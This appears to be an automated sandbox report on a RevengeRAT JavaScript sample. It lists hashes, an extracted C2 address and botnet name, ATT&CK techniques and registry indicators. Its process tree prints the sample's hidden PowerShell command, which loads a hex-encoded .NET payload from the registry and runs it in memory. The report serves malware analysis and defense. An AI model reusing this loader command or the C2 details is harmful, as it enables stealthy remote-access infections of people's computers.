revengerat | 862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7

Analysis

max time kernel
120s
max time network
146s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 13:57

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General

Target

0000003323677.js
Size

253KB
MD5

453bc0d9d84305bd4811c8c0c8622db6
SHA1

85553506f2dc5abcec56a06cb36f69c0b046efa4
SHA256

862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7
SHA512

af6ef42e885481ae3bc0939017c8eb328531ea50d7eb852bd7b5b744a70d202e57f09f2671ab1553c05d4c53181973896c44109e7eb19f7fb0d087f697632d87
SSDEEP

6144:p8t+pgvJENiy2BMs+1WKKL7EVLy19uQTuol9nv2RWoaAImBeN1PXY1qm:p8kpgvJENZ2JJLm

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

13.49.66.229:333

Mutex

8a25aa6e78e44708a

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3056	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 3056	2100	wscript.exe	30
PID 2100 wrote to memory of 3056	2100	wscript.exe	30
PID 2100 wrote to memory of 3056	2100	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0000003323677.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3056-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/3056-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/3056-7-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-6-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/3056-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-10-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-11-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-12-0x0000000002B60000-0x0000000002B6A000-memory.dmp

Filesize
40KB

Download
memory/3056-13-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/3056-14-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-15-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-16-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download